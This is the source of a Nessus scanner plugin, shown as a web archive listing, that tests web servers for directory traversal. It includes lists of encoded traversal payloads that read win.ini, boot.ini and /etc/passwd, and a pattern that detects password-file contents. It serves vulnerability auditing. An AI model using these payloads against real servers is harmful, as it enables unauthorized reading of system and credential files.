home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / web_traversal.nasl < prev    next >
Text File  |  2005-01-14  |  7KB  |  206 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. # And hacked three years later by Michel Arboi...
  4. #
  5. # See the Nessus Scripts License for details
  6. #
  7. ##############
  8. # References:
  9. ##############
  10. # Message-ID: <057801c26b19$529b2950$c64896d4@beyondmobile1>
  11. # Date: Thu, 3 Oct 2002 22:12:31 +0200
  12. # From: "Aviram Jenik" <aviram@BEYONDSECURITY.COM>
  13. # Subject: BearShare Directory Traversal Issue Resurfaces
  14. # To: win2ksecadvice@LISTSERV.NTSECURITY.NET
  15. #
  16. # Date: 25 Sep 2002 09:10:45 -0000
  17. # Message-ID: <20020925091045.29313.qmail@mail.securityfocus.com>
  18. # From: "DownBload" <downbload@hotmail.com>
  19. # To: bugtraq@securityfocus.com
  20. # Subject: IIL Advisory: Reverse traversal vulnerability in Monkey (0.1.4) HTTP server
  21. #
  22. # From: "David Endler" <dendler@idefense.com>
  23. # To:vulnwatch@vulnwatch.org
  24. # Date: Mon, 23 Sep 2002 16:41:19 -0400
  25. # Subject: iDEFENSE Security Advisory 09.23.2002: Directory Traversal in Dino's Webserver
  26. #
  27. # From:"UkR security team^(TM)" <cuctema@ok.ru>
  28. # Subject: advisory
  29. # To: bugtraq@securityfocus.com
  30. # Date: Thu, 05 Sep 2002 16:30:30 +0400
  31. # Message-ID: <web-29288022@backend2.aha.ru>
  32. #
  33. # From: "Tamer Sahin" <ts@securityoffice.net>
  34. # To: bugtraq@securityfocus.com
  35. # Subject: Web Server 4D/eCommerce 3.5.3 Directory Traversal Vulnerability
  36. # Date: Tue, 15 Jan 2002 00:36:26 +0200
  37. # Affiliation: http://www.securityoffice.net
  38. #
  39. # From: "Alex Forkosh" <aforkosh@techie.com>
  40. # To: bugtraq@securityfocus.com
  41. # Subject: Viewing arbitrary file from the file system using Eshare Expressions 4 server
  42. # Date: Tue, 5 Feb 2002 00:18:42 -0600
  43. #
  44. # Should also apply for BID 7308, 7378, 7362, 7544, 7715
  45. #
  46. # From: "mattmurphy@kc.rr.com" <mattmurphy@kc.rr.com>
  47. # Subject: Zeroo Folder Traversal Vulnerability
  48. # To: news@securiteam.com, vulnwatch@vulnwatch.org, bugtraq@securityfocus.com
  49. # Date: Thu, 21 Nov 2002 19:49:46 -0500
  50. # Reply-To: mattmurphy@kc.rr.com
  51. #
  52. # From: "Matthew Wagenknecht" <mattwagenknecht@hotmail.com>
  53. # To: news@securiteam.com, vulnwatch@vulnwatch.org, bugtraq@securityfocus.com
  54. # Subject: pWins Perl Web Server Directory Transversal Vulnerability
  55. # Date: Wed, 27 Nov 2002 16:49:19 -0700
  56. # Message-ID: <F113TJQmQzbVHsuweG800008b02@hotmail.com>
  57. #
  58. # From: support@securiteam.com
  59. # Subject: [NEWS] Remote Console Applet Allows Remote File Retrieval
  60. # To: list@securiteam.com
  61. # Date: 15 Dec 2002 23:17:34 +0200
  62. #
  63. # From:    "scrap" <webmaster@securiteinfo.com>
  64. # To:    vulnwatch@vulnwatch.org
  65. # Date:    Thu, 25 Sep 2003 23:19:34 +0200
  66. # Subject: myServer 0.4.3 Directory Traversal Vulnerability
  67. #
  68. # http://www.zone-h.org/en/advisories/read/id=3645/
  69. # http://aluigi.altervista.org/adv/dcam-adv.txt
  70. #
  71.  
  72. if(description)
  73. {
  74.  script_id(10297);
  75.  script_version ("$Revision: 1.36 $");
  76.  
  77.  name["english"] = "Web server traversal";
  78.  name["francais"] = "Web server traversal";
  79.  script_name(english:name["english"], francais:name["francais"]);
  80.  
  81.  desc["english"] = "
  82. It is possible to read arbitrary files on
  83. the remote server by prepending ../../
  84. or ..\..\ in front on the file name.
  85.  
  86. Solution : Use another web server
  87.  
  88. Risk factor : High";
  89.  
  90.  script_description(english:desc["english"]);
  91.  
  92.  summary["english"] = "\..\..\file.txt";
  93.  summary["francais"] = "\..\..\file.txt";
  94.  script_summary(english:summary["english"], francais:summary["francais"]);
  95.  
  96.  script_category(ACT_ATTACK);
  97.  
  98.  
  99.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  100.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  101.  family["english"] = "CGI abuses";
  102.  family["francais"] = "Abus de CGI";
  103.  script_family(english:family["english"], francais:family["francais"]);
  104.  script_dependencie("find_service.nes", "no404.nasl", "httpver.nasl");
  105.  script_require_ports("Services/www", 80);
  106.  exit(0);
  107. }
  108.  
  109. #
  110. # The script code starts here
  111. #
  112. include("http_func.inc");
  113. include("http_keepalive.inc");
  114.  
  115. port = get_http_port(default:80);
  116.  
  117.  
  118. if(! get_port_state(port)) exit(0);
  119.  
  120. qc=1;
  121. k = string("www/no404/", port);
  122. if (get_kb_item(k)) qc=0;
  123.  
  124. i=0;
  125. r[i] = string("..\\..\\..\\..\\..\\..\\windows\\win.ini");    i=i+1;
  126. r[i] = string("..\\..\\..\\..\\..\\..\\winnt\\win.ini");    i=i+1;
  127. r[i] = "/%5c..%5c..%5c..%5cwindows%5cwin.ini";        i=i+1;
  128. r[i] = "/%5c..%5c..%5c..%5cwindows%5cwin%2eini";    i=i+1;
  129. r[i] = "/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini";    i=i+1;
  130. r[i] = "/%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini";    i=i+1;
  131. r[i] = "/%2f..%2f..%2f..%2f..%2f..%2f..%2fwinnt%2fwin.ini";    i=i+1;
  132. r[i] = string("/.|./.|./.|./.|./.|./.|./.|./winnt/win.ini");    i=i+1;
  133. r[i] = string("/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini"); i=i+1;
  134. r[i] = string("/.../.../.../.../.../.../.../.../.../winnt/win.ini"); i=i+1;
  135. r[i] = string("/././././././../../../../../winnt/win.ini"); i=i+1;
  136. r[i] = ".\.\.\.\.\.\.\.\.\.\/windows/win.ini"; i=i+1;
  137. r[i] = string("/nessus\\..\\..\\..\\..\\..\\..\\windows\\win.ini");    i=i+1;
  138. r[i] = string("/nessus\\..\\..\\..\\..\\..\\..\\winnt\\win.ini");    i=i+1;
  139. r[i] = 0;
  140.  
  141. for (i=0; r[i]; i=i+1)
  142. {
  143.   if (check_win_dir_trav_ka(port: port, url: r[i], quickcheck: qc))
  144.   {
  145.     req = http_get(item: r[i], port:port);
  146.     rc = http_keepalive_send_recv(port:port, data:req);
  147.     encaps = get_port_transport(port);
  148.     if ( encaps >= ENCAPS_SSLv2 ) 
  149.     exploit_url = string("https://", get_host_ip(), ":", port, r[i]);
  150.    else
  151.     exploit_url = string("http://", get_host_ip(), ":", port, r[i]);
  152.  
  153.    report = "
  154. It is possible to read arbitrary files on
  155. the remote server by prepending ../../
  156. or ..\..\ in front on the file name.
  157.  
  158. It was possible to read arbitrary files using the URL : 
  159. " + exploit_url + "
  160.  
  161. Which produces : 
  162. " + rc + "
  163.  
  164. Solution : Use another web server
  165. Risk factor : High";
  166.     security_hole(port:port, data:report);
  167.     exit(0);
  168.   }
  169. }
  170.  
  171. i=0;
  172. r[i] = "../../../../../../etc/passwd";        i=i+1;
  173. r[i] = "/../../../../../../../../../etc/passwd";    i=i+1;
  174. r[i] = "//../../../../../../../../../etc/passwd";    i=i+1;
  175. r[i] = string("/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"); i=i+1;
  176. r[i] = "/././././././../../../../../etc/passwd";        i=i+1;
  177. r[i] = 0;
  178.  
  179. for (i = 0; r[i]; i=i+1)
  180. {
  181.   req = http_get(item: r[i], port:port);
  182.   rc = http_keepalive_send_recv(port:port, data:req);
  183.   if(rc == NULL ) exit(0);
  184.   if(egrep(pattern:"root:.*:0:[01]:", string:rc))
  185.   {
  186.    exploit_url = string("http://", get_host_ip(), ":", port, r[i]);
  187.    report = "
  188. It is possible to read arbitrary files on
  189. the remote server by prepending ../../
  190. or ..\..\ in front on the file name.
  191.  
  192. It was possible to read arbitrary files using the URL : 
  193. " + exploit_url + "
  194.  
  195. Which produces : 
  196. " + rc + "
  197.  
  198. Solution : Use another web server
  199. Risk factor : High";
  200.     
  201.     security_hole(port:port, data:report);
  202.     exit(0);
  203.   }
  204. }
  205.  
  206.